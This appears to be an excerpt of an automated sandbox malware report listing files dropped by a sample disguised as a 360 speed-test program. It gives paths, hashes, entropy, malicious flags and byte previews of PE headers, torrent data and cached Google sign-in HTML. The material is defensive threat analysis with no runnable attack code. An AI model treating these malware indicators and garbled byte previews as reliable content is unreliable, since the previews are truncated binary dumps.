                                                                                                                                                                          • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........L...-v..-v..-v.0b...-v..U...-v..U...-v..U...-v......-v......-v..-w.G-v..U...-v..U...-v......-v..U...-v.Rich.-v.................PE..L......P...........!................j........0............................................@.........................@...&............0..x............6.......@..P#...3..............................x...@............0...............................text...P........................... ..`.rdata..f....0....... ..............@..@.data...x=..........................@....rsrc...x....0......................@..@.reloc...:...@...<..................@..B........................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\?????\netmon\NetSpeed.dll

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):297336
                                                                                                                                                                          Entropy (8bit):6.436950941856659
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6144:qZqlIUnrbdLw59FSuyP5k7AAWELo63su8/YftuG:qZonfdA9YhP5k7AAWELL8xG
                                                                                                                                                                          MD5:8ABC82F09F8043AE7B28498232F8EFF9
                                                                                                                                                                          SHA1:E4E32083F7D6D5F1105D601677DB34DE6C700C9A
                                                                                                                                                                          SHA-256:6309E408A3A62457416D7762F3789E8AF5EFB5F8E3CB51B452CA72DD1847573C
                                                                                                                                                                          SHA-512:D695BF970144D9B902124673F3E7B9CA584CB89C6B13235EE95AFF7B152367C7122B328E3D3ADD7870C6718CBB5D02E1E3C5DBD10FECAE5F9BEC25B4BE98E1F3
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Antivirus:
                                                                                                                                                                          • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......W................o.......l.......z.......}.^...4A......4A...............s.......k.......m.......h.....Rich....................PE..L......P...........!.....^...................p........................................................................../............`...............t..x....p..x'...s..................................@............p...............................text....].......^.................. ..`.rdata.......p.......b..............@..@.data....>... ... ..................@....rsrc........`.......(..............@..@.reloc...D...p...F..................@..B........................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\?????\netmon\netspeed.npl

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:ISO-8859 text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):2252
                                                                                                                                                                          Entropy (8bit):5.284757836128606
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:48:rQCEKRpcLzEpE/cd0y1J3LI/x+0iJHTH0vIqikb0BYarF0j/XH0v:rQHCuLIS/8DPIx+zJHTHTxkbV8Fm/3O
                                                                                                                                                                          MD5:E7E476E69619A95CBAC6A0F099EF8C03
                                                                                                                                                                          SHA1:C9A0F8BAFCAF5336EDBB2D775A2CB7D17264A2C8
                                                                                                                                                                          SHA-256:E9640CFADE14966CE475C65CCF4C1CE0B44C6A5C9922E490E1D6D433614AEBB3
                                                                                                                                                                          SHA-512:F3D689EF9E7DC48E698082A88837DB3244A031B8997EDAB0C03B922AEC2A947726570C2A416D3A2CB34D7C2FE68FD5939B1A3BDAC0C4144D12203F65FBC361AE
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:pdown://h3=0|h7=3|b7=1|b9=0|p10=1|p11=0|p14=1|k=2|https://dldir1.qq.com/qqfile/qq/QQ9.0.5/23816/QQ9.0.5.exe.pdown://h3=0|h7=3|b7=1|b9=0|p10=1|p11=0|p14=1|k=2|https://dldir1.qq.com/qqtv/TencentVideo10.10.2290.0.exe.pdown://p2=78CD0526BA8A6DBB32BDE2BCAD54906F79EE8EF0|b2=51677640|p3=20|p4=6000|p5=6|h1=2000000064_|h3=0|h7=3|b5=360.......|b6=.......|b7=1|b9=0|p10=1|p11=0|p14=1|k=2|http://softdlc.360tpcdn.com/auto/20201130/2000000064_f07aefc3d918ebdafa9418f3f5ef5f9c.exe.pdown://p2=40F17E9F584EE3CFEA08EEC20F1040292BA01E72|b2=48645528|p3=20|p4=6000|p5=6|h1=23_|h3=0|h7=3|b5=360.......|b6=......PPS...|b7=1|b9=0|p10=1|p11=0|p14=1|k=2|http://softdlc.360tpcdn.com/auto/20201127/23_21ed487ededbbb428b2a7dcecc969c7c.exe.pdown://b2=48645520|p3=20|p4=6000|p5=6|h1=100101123_|h3=0|h7=3|b5=360.......|b6=.........|b7=1|b9=0|p10=1|p11=0|p14=1|k=2|http://softdlc.360tpcdn.com/auto/20201127/100101123_879baf4f2d9d14f191be2443e16504af.exe.pdown://b2=67836248|p3=20|p4=7800|p5=6|h1=25_|h3=0|h7=3|b5=360.......

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\?????\netmon\netspeedtmp.npl

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:ISO-8859 text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):2252
                                                                                                                                                                          Entropy (8bit):5.284757836128606
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:48:rQCEKRpcLzEpE/cd0y1J3LI/x+0iJHTH0vIqikb0BYarF0j/XH0v:rQHCuLIS/8DPIx+zJHTHTxkbV8Fm/3O
                                                                                                                                                                          MD5:E7E476E69619A95CBAC6A0F099EF8C03
                                                                                                                                                                          SHA1:C9A0F8BAFCAF5336EDBB2D775A2CB7D17264A2C8
                                                                                                                                                                          SHA-256:E9640CFADE14966CE475C65CCF4C1CE0B44C6A5C9922E490E1D6D433614AEBB3
                                                                                                                                                                          SHA-512:F3D689EF9E7DC48E698082A88837DB3244A031B8997EDAB0C03B922AEC2A947726570C2A416D3A2CB34D7C2FE68FD5939B1A3BDAC0C4144D12203F65FBC361AE
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:pdown://h3=0|h7=3|b7=1|b9=0|p10=1|p11=0|p14=1|k=2|https://dldir1.qq.com/qqfile/qq/QQ9.0.5/23816/QQ9.0.5.exe.pdown://h3=0|h7=3|b7=1|b9=0|p10=1|p11=0|p14=1|k=2|https://dldir1.qq.com/qqtv/TencentVideo10.10.2290.0.exe.pdown://p2=78CD0526BA8A6DBB32BDE2BCAD54906F79EE8EF0|b2=51677640|p3=20|p4=6000|p5=6|h1=2000000064_|h3=0|h7=3|b5=360.......|b6=.......|b7=1|b9=0|p10=1|p11=0|p14=1|k=2|http://softdlc.360tpcdn.com/auto/20201130/2000000064_f07aefc3d918ebdafa9418f3f5ef5f9c.exe.pdown://p2=40F17E9F584EE3CFEA08EEC20F1040292BA01E72|b2=48645528|p3=20|p4=6000|p5=6|h1=23_|h3=0|h7=3|b5=360.......|b6=......PPS...|b7=1|b9=0|p10=1|p11=0|p14=1|k=2|http://softdlc.360tpcdn.com/auto/20201127/23_21ed487ededbbb428b2a7dcecc969c7c.exe.pdown://b2=48645520|p3=20|p4=6000|p5=6|h1=100101123_|h3=0|h7=3|b5=360.......|b6=.........|b7=1|b9=0|p10=1|p11=0|p14=1|k=2|http://softdlc.360tpcdn.com/auto/20201127/100101123_879baf4f2d9d14f191be2443e16504af.exe.pdown://b2=67836248|p3=20|p4=7800|p5=6|h1=25_|h3=0|h7=3|b5=360.......

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\C__Users_user_AppData_Roaming_360safe_netmon_stdlcache_nts9442.tmp.mem

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):115
                                                                                                                                                                          Entropy (8bit):1.610999510671316
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:uS//Rktp8R//H86//ED:uYRMmRXcKsD
                                                                                                                                                                          MD5:0BF1A748A60A0E464AA52A1F395FDAA9
                                                                                                                                                                          SHA1:5C38DD58904E278EDEA66109A2865E97FDE84763
                                                                                                                                                                          SHA-256:DCD02E172FEBEC03236E2CD4BD6ACCCC7514A49AEEA08BE732B4F121AE343A4B
                                                                                                                                                                          SHA-512:7F0A847B303612CEC5CDCD4B55FA919736C2A875F7BD9C72F1A8AE1589264E8A39B073855381CD43AFB0E46131036090287FAE6EBB3AE176507482B8AEE6D707
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:.................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\C__Users_user_AppData_Roaming_360safe_netmon_stdlcache_nts9442.tmp.trt

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):16049
                                                                                                                                                                          Entropy (8bit):7.988552809749304
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:384:87IhUVb1u7fQLKlXdl218VkAMTMsC3Asase:87IhUVb1u7fQL4eq5Qshe
                                                                                                                                                                          MD5:D443AE1533AFB9073D13227C194392AD
                                                                                                                                                                          SHA1:FB5F283C2C0C322A0C93DE89FC5A3CB0AC7CC27C
                                                                                                                                                                          SHA-256:7F3F7099F2E2226B062B001F85C53179E76198577F0B9198C6A95EBA517A0881
                                                                                                                                                                          SHA-512:B3F7462279F7BFE141ECA7AC17EC8904633D36828BC2EA028BB4FF107C3ACE610EA9EAFDD6E76AB7EA1EFE3CBB5A8AB30792DE90375199B19FCED36548C056C9
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:d8:encoding3:GBK13:creation date25:Mon Nov 30 18:45:35 2020.4:infod4:name136:_home_q_system_rtorrent_chroot_var_downloaded_6000522_softdl.360tpcdn.com__auto_20201130_2000000064_f07aefc3d918ebdafa9418f3f5ef5f9c.exe6:lengthi51677640e12:piece lengthi65536e6:pieces15780:.w.....Z....M.....ql..P..!.=.n.."vt....._xz..L!..1.WY.`.?.....yb.w.}Y.:.p/Q.&..5_.F..[.J.^.....J..,Km.}X.(:..pAR.`LK*/Y-X.A.&w..V8....W`Pp.i..s...o0.>..w9.r..G...6{...[..?..M.O.B...P...G....to.%".$.M.3..X=.v..J.9.x'....|....xO7E4....v.3..hAj<.X..*..$.,..,..\.~.afAx*... ...pc.Q.h.B..S.*..V.>.U../n.Gu..]Xf{-.....g.......s\.Y..I:..\.E..yo..+4.43..-..L.......T'<...Q..u.L..h-....*....&..%..o.T...x.@....6i..-.UN..B..?.e......%G.."c[..9.3.....#.....G....T...............b..lI./N...>+..+C..}.......}r.'.BT7..:6...4...J.b...+W..[.P....)|N...mj.4.......l9...R....s...`....p].P)z.!..<..8...u..d(..q..K...;.../U./q....\R...iN%.a.m..c..E..+....o.r..a/..|KjU....."....$.(...=..V.#K..h.....c>e..M.9v...

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\C__Users_user_AppData_Roaming_360safe_netmon_stdlcache_nts9472.tmp.mem

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe
                                                                                                                                                                          File Type:OpenPGP Public Key
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):109
                                                                                                                                                                          Entropy (8bit):1.8852486960598165
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:WaaaRqtpRRJ//eRqtgn:WaaaROjL4Og
                                                                                                                                                                          MD5:81665C58CDE40AF47316B1D645A21CF7
                                                                                                                                                                          SHA1:FAB65E9E5C727E2A58629629602D825264FCA1CD
                                                                                                                                                                          SHA-256:5AB3A3051514D9351487DE028FA5D2BE924E5CB0525D47140524D6BF79635076
                                                                                                                                                                          SHA-512:422ECA895A5014E6A09E73803FB679DCEEFB689F9C877F89DE629C857BA0EE0F6C5A98A9C3E524A53674CD514812A1AE7B2B04522C1E664F9A54EDCDFC3688BC
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:.E.......................................................................................................>.l

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\C__Users_user_AppData_Roaming_360safe_netmon_stdlcache_nts9472.tmp.trt

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):15121
                                                                                                                                                                          Entropy (8bit):7.98681694007893
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:384:sqKPrs+x+HtX6xo7Tw6UFEKa155OtATjEbsjD+G6H:HURIq67kXFHa1555F+GA
                                                                                                                                                                          MD5:C826AA763FAB87980F8F967B8088CEDC
                                                                                                                                                                          SHA1:0B69C24608543ED91993E7A5664EE44B2D3947E3
                                                                                                                                                                          SHA-256:204D9A12B48B61435625FAAE42CBF1C2D4E57FAEE16FCBF460BA6CBCD82F6EC2
                                                                                                                                                                          SHA-512:E26710AD4990D269F0C23F1EBB195BE907C2FC47605D2F1A782DB0F9009BA0C1876B2E7EE69A62904E7C2DB14033207A994666C5C284D8918D5293E9C5753F3E
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:d8:encoding3:GBK13:creation date25:Fri Nov 27 19:46:47 2020.4:infod4:name128:_home_q_system_rtorrent_chroot_var_downloaded_5989001_softdl.360tpcdn.com__auto_20201127_23_21ed487ededbbb428b2a7dcecc969c7c.exe6:lengthi48645528e12:piece lengthi65536e6:pieces14860:.C.....=LM.....l.XH|_OX..@.i3Ug.]...QM....J.w............nE.......l.).`C1.........q8....u...<b....Wd~..W.._0.u..]...hW.).ap..~...........Oop.Je.m.4.WE|!!..6..B|;....Oq..A.b6...lk....J...|..:.o...[.6,...k..\EP.k1.;......^.vQ..y.=...E.EK.}...MK0....X.*..V.....#...S.Z...$.C.'t.2.n.,y6n..:.a..O...s,..E...p3...-.,b.....p2eQ.G`. ..8.T..ofD.@....0..X..[.55k...a.A.o....C...>......9_:.j~.hU....W.......-n:.y<......|.o..[V).#.W....1.....4...W..?c..NB63.R..K.....co\.":jR.PGE....2..c..9.....05R=...=.Z..0...Cw.MB...z...-x..l.t9/...h...q....ax..}. B..c..T5.0Jt..i..C..n.R)v....#.[..tz_...+G:..V|?.J.W.u.z..C.....0....p.S6.|-."...i.D..K.@w..I...M.v..N._s..;%#.........f..7#L..!L..,.K..d.}.-...m.......F4.f.3....+..

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\C__Users_user_AppData_Roaming_360safe_netmon_stdlcache_nts9473.tmp.mem

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):109
                                                                                                                                                                          Entropy (8bit):1.9842385996467038
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:q/caaRE//ZRtpRRwtOuXM4:BaaRkrtjGfM4
                                                                                                                                                                          MD5:0D7819FA89E0CFCBD34227C663BB1C03
                                                                                                                                                                          SHA1:784088ED0B0AD65C3F965EB960CB34073BD90271
                                                                                                                                                                          SHA-256:C2FE938F2F3CED5AB287C8A595FBC59F5F227D5B065FE62238EA71E435D01758
                                                                                                                                                                          SHA-512:CC18699E3929AAA42730FBC10B88D07E75311CA4F225AFC7EA094FDA1CD0B54B3C06837B8903BB1960932FFDBF4AB90DC9579F5404071B30F805F1DFC9340B39
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:.E.................................?...................................................................... k.

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\C__Users_user_AppData_Roaming_360safe_netmon_stdlcache_nts9474.tmp.mem

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):81
                                                                                                                                                                          Entropy (8bit):1.9721527791132525
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:nlB/a8nt38l//x8VkZ:nl08tMlXOVkZ
                                                                                                                                                                          MD5:D7C4D7CCFC5B25B093DC5E953A6C8530
                                                                                                                                                                          SHA1:AF0CF928AC2B32E5AC7849BF49277C160780689B
                                                                                                                                                                          SHA-256:D99B8E2CC0C4D4486FED640DA2D0FAD555F34B46E3682B448EB0A9E1E747079B
                                                                                                                                                                          SHA-512:820A5D53A901EBD1E903763713DEF6C784FE4EBD8067D5B15A7CAB763CD11AEC90FCB1920267ECF2170837AACED040F434A2E2C66E41ADB0AA6D455478357EDA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:X............................................................................!..

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\C__Users_user_AppData_Roaming_360safe_netmon_stdlcache_nts9475.tmp.mem

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):84
                                                                                                                                                                          Entropy (8bit):1.8353835212781286
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:jqlpb//XRntN8n/E:jqjTJtanM
                                                                                                                                                                          MD5:569048EC18091C34C6E878E660BF7B27
                                                                                                                                                                          SHA1:C79BF56494AB0C4D3A2FBC17ED73163FFBBD8E4D
                                                                                                                                                                          SHA-256:1B6616A2658CFBF22AAE3F605EF88793A48C171A27FF5CE7F22FB14EE2DB1547
                                                                                                                                                                          SHA-512:5975EFBBCD4B8F6902C838620BD6D20F9FC622257FA4AD4BCD58B830D155C2A855CB0DCDC5491824730D611258F8888B1D071980CC878450A659560F9694070D
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:.+9.............................................................................q...

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\C__Users_user_AppData_Roaming_360safe_netmon_stdlcache_nts9476.tmp.mem

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):125
                                                                                                                                                                          Entropy (8bit):1.6466272101335053
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:ql6lLWtx8jtv8Dt9n:e6pyOBkh9n
                                                                                                                                                                          MD5:6352E4EC6CE45CC90CEF93E1B53FF17B
                                                                                                                                                                          SHA1:080206E0524258520C997DE28957D8F80E17E4BD
                                                                                                                                                                          SHA-256:9121DEA71544BF3697877709D28FC501B71B64303A95369B608A0D38F8A109BB
                                                                                                                                                                          SHA-512:4305C0944B4631CB52FF805526B001BE9F969EACFF3C8654FBC27B33B1DC87998C2801ECC705C1B4CDD245FDA9E2D0EC3A0197064CBD90AC8245B090152A5030
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:.=a.....b..................................................................................................................3

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\C__Users_user_AppData_Roaming_360safe_netmon_stdlcache_nts9477.tmp.mem

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):121
                                                                                                                                                                          Entropy (8bit):1.698828072166969
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:G8dRa+tJRRM//H8Dt+:GEaqDeEh+
                                                                                                                                                                          MD5:3CF9601E4747C9845AC8FA2B9E80DD58
                                                                                                                                                                          SHA1:2498B8516D735CD68B0787DEFA9701DC9986935A
                                                                                                                                                                          SHA-256:3CEE8769FBCDF1E0FB50FC50656A7EC2220705D564EE256326044C2BA8B24034
                                                                                                                                                                          SHA-512:938434DDB533FA7F462DEEE319DA8E46ABA6C6A25EF6FE5E535C1C762B7D9E002327E4ADF219128C7CCEB9571292DBD36A14E0D5E7A21FC0F187D4E430567AF8
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:p.B.....C..............................................................................................................<P

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\C__Users_user_AppData_Roaming_360safe_netmon_stdlcache_nts94A7.tmp.mem

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):92
                                                                                                                                                                          Entropy (8bit):1.7197623703362326
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:o/xpaantJRftF8n/aw:0tDVynT
                                                                                                                                                                          MD5:E764DE61AC7B9844B1053D5C1B03FF4F
                                                                                                                                                                          SHA1:9714F6954F63D2EBE475CBBCFD17E8A47A9EE365
                                                                                                                                                                          SHA-256:6462C461241878F33A8B4D135E26FF16F0C052FCDAF27908A14848C95B9FE7B2
                                                                                                                                                                          SHA-512:5DC3331E3C60F6FC5AABC581BB89EA04D9D39A4EE1317958E7F9A0B052540EC9E52303CB9C21750E3298CF6D573BF4256B0249FDA1F662ED458969A4EC97F96F
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:`j......^..................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\M7yiJz5.ini

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\ProgramData\Synaptics\Synaptics.exe
                                                                                                                                                                          File Type:HTML document, ASCII text, with very long lines (36270)
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):144907
                                                                                                                                                                          Entropy (8bit):5.996257315161631
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:0ZvLNNiZ816vPGTdfpEj5Kia7RwocwrLrnStmvYCotmPfm1iTVkW5rswfZ9R2xnW:13GT9DF2npCjPfm8PhD2xbUbUP+lCM
                                                                                                                                                                          MD5:49F09429CB73238AAEB92122BB63906B
                                                                                                                                                                          SHA1:C0F77CEABF84C8073007E721C499E5A5183D8FFE
                                                                                                                                                                          SHA-256:05E22BB847E33E50C290A8BC3C71FFD604035B3E5058BF9793D604B65CED4B3E
                                                                                                                                                                          SHA-512:E7916F3ED601369122C6F224A7FF438EF41522B878D9BFE62EA5B33073FCC65EFAE201CEC784B3EA477BC56FCD0B4D8C6B8CFD3F85B1886736F8A73D477EFB69
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:<!doctype html><html lang="en-US" dir="ltr"><head><base href="https://accounts.google.com/v3/signin/"><meta name="referrer" content="origin"><meta name="viewport" content="width=device-width, initial-scale=1"><style data-href="https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi.kQDc3gsln70.L.X.O/am=DCMAUAACAFAgAAAAAAAAAAACgEQI/d=1/ed=1/rs=AOaEmlFZLzGPiQD9nNZ8m9_1ur0LgSdIaQ/m=identifierview,_b,_tp,_r" nonce="iFpYrhWKI0hzaypq3L4sgw">c-wiz{contain:style}c-wiz>c-data{display:none}c-wiz.rETSD{contain:none}c-wiz.Ubi8Z{contain:layout style}.JnOM6e{background-color:transparent;border:none;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-sizing:border-box;box-sizing:border-box;display:inline-block;font-size:14px;height:36px;letter-spacing:.15px;line-height:34px;padding:0 24px;position:relative;text-align:center}.JnOM6e:focus-visible{outline:none;position:relative}.JnOM6e:focus-visible::after{border:2px solid #185abc;border-radius:6px;bot

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\OYSftBP.ini

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\ProgramData\Synaptics\Synaptics.exe
                                                                                                                                                                          File Type:HTML document, ASCII text, with very long lines (36276)
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):144910
                                                                                                                                                                          Entropy (8bit):5.998038554253842
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3072:RyZe2DF2CXPFnKXKabniPhD2xvbUP+lCM:RyZeI2YI6Ao2xO0
                                                                                                                                                                          MD5:02DA61FDAC48F49F54E865E90137D793
                                                                                                                                                                          SHA1:75B9C3EDE387A674575988A72AFFD5A2F1D29E69
                                                                                                                                                                          SHA-256:8A31A36B5DA0799B8C4648D147226E501654B3AF80DF93364BCF4AD2347F839E
                                                                                                                                                                          SHA-512:046965CBE4ABCA3E6FF721286DEF37B2BB3EB30FA065D2119BDB3F23CA63E66FA18D2C9966FD7955804048C12FA6D19E23172997216737CAF6B339C68C9C9330
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:<!doctype html><html lang="en-US" dir="ltr"><head><base href="https://accounts.google.com/v3/signin/"><meta name="referrer" content="origin"><meta name="viewport" content="width=device-width, initial-scale=1"><style data-href="https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi.kQDc3gsln70.L.X.O/am=DCMAUAACAFAgAAAAAAAAAAACgEQI/d=1/ed=1/rs=AOaEmlFZLzGPiQD9nNZ8m9_1ur0LgSdIaQ/m=identifierview,_b,_tp,_r" nonce="0QKJrZCldVRcFbMMxjISnQ">c-wiz{contain:style}c-wiz>c-data{display:none}c-wiz.rETSD{contain:none}c-wiz.Ubi8Z{contain:layout style}.JnOM6e{background-color:transparent;border:none;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-sizing:border-box;box-sizing:border-box;display:inline-block;font-size:14px;height:36px;letter-spacing:.15px;line-height:34px;padding:0 24px;position:relative;text-align:center}.JnOM6e:focus-visible{outline:none;position:relative}.JnOM6e:focus-visible::after{border:2px solid #185abc;border-radius:6px;bot

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\aut30B4.tmp

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):158408
                                                                                                                                                                          Entropy (8bit):7.7817245947113936
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3072:+kQ6GDtOCqYJaqm3gn98bsdj3ChMMne1vZpzzUaMlWRCGpgb1g3KjO:XQ6igC/JBm3g9Tdj3onO/zoxWR1gb1gr
                                                                                                                                                                          MD5:A4FF3D7CA3F279DCA53D6E08A0194BBA
                                                                                                                                                                          SHA1:7C306032F49DEE72F3A20A019DC70B9F79EE61E9
                                                                                                                                                                          SHA-256:E159EC61D6FF2297DEC19E8A4BD3B3144EBACAADF1485A25F4C481F78B4152CB
                                                                                                                                                                          SHA-512:CDE850EB2D5370C0E5DBA07A23A86757AF61C9E711FC7333C8395DD5B800D9C6F8271F04597C7D008E5174F2D38CC027DAC4FB4D54284245E32DFF48C5FEB079
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EA06.. ......................Z..F@.~.@.!......'.!.@i...R.i....+}..a..,v.u..t.X...... ...J}NAm..,..l6.$.D.>._.r....&..}'...l.......}......Q....|P.E....-(.Ft...J.c..$ ...B...S 0X.w!a...k...Hap.L..\..4.......H..!p..@.......A@.2....B..k@..@............../@.$...^..Y...h..L....f#.......G..........}..\..s.../. ...]t......>......c..$.d....]r.Xn.....d.... .@..>......'...2.A@....A..(.8....c...; .B....;...5..l.......&.#X......G...?..V/......\....K...^ .L.A+ ........].....x.s..@0vh .!..W.u\_...hb...Bg.....<]v.W...}..#....t.@........@....L.5h~..`......2...p.P8~.)2.. .X...u..!.^."...Pp......a...d.3.`.1.~w...R.~/&..8..<m...Mx...7.A...=..$.t..........Fq|...^...qL...~ |>....../...N..../........+.>mo...9<(D..`..P._..+j....dC....&..T....B...@*..f.........!......T....p}0H.6!..p0~.|.....9....1.A.P...! .A.........0...^(..?.*...V` .%..}.@ 0...._...(d.....$...[.t.C1|...?W..&.~.....X?.......X.....b8>..*...L..?..~.....fc...J..........+....9.&....aN.....\.....\3q..I".......

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\aut3171.tmp

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):128988
                                                                                                                                                                          Entropy (8bit):7.796435488304682
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3072:nRIL4OxWW6R8sZRhpKpUSQOVCgFMYk7trmkzpTF9xylI:R0pEssZtKZtCgA71lNyi
                                                                                                                                                                          MD5:66C0D30A15EC5DC545503B289A783A8F
                                                                                                                                                                          SHA1:E22508B8F8722309EA2C5888818BED3D26ED394E
                                                                                                                                                                          SHA-256:59B2E31FDB193DB41B30392317671D8D5D9498D6DD0058A6466BE5E8E794B65F
                                                                                                                                                                          SHA-512:20D60D50E78E35F58A8F8ECBDF5FD4077FAEE54C02BD2F717F9C1EA4B08A5ED2642C16239C044D93505D44CA7518F133732FFE4A933E896D1E8F99684004CC2B
                                                                                                                                                                          Malicious:false
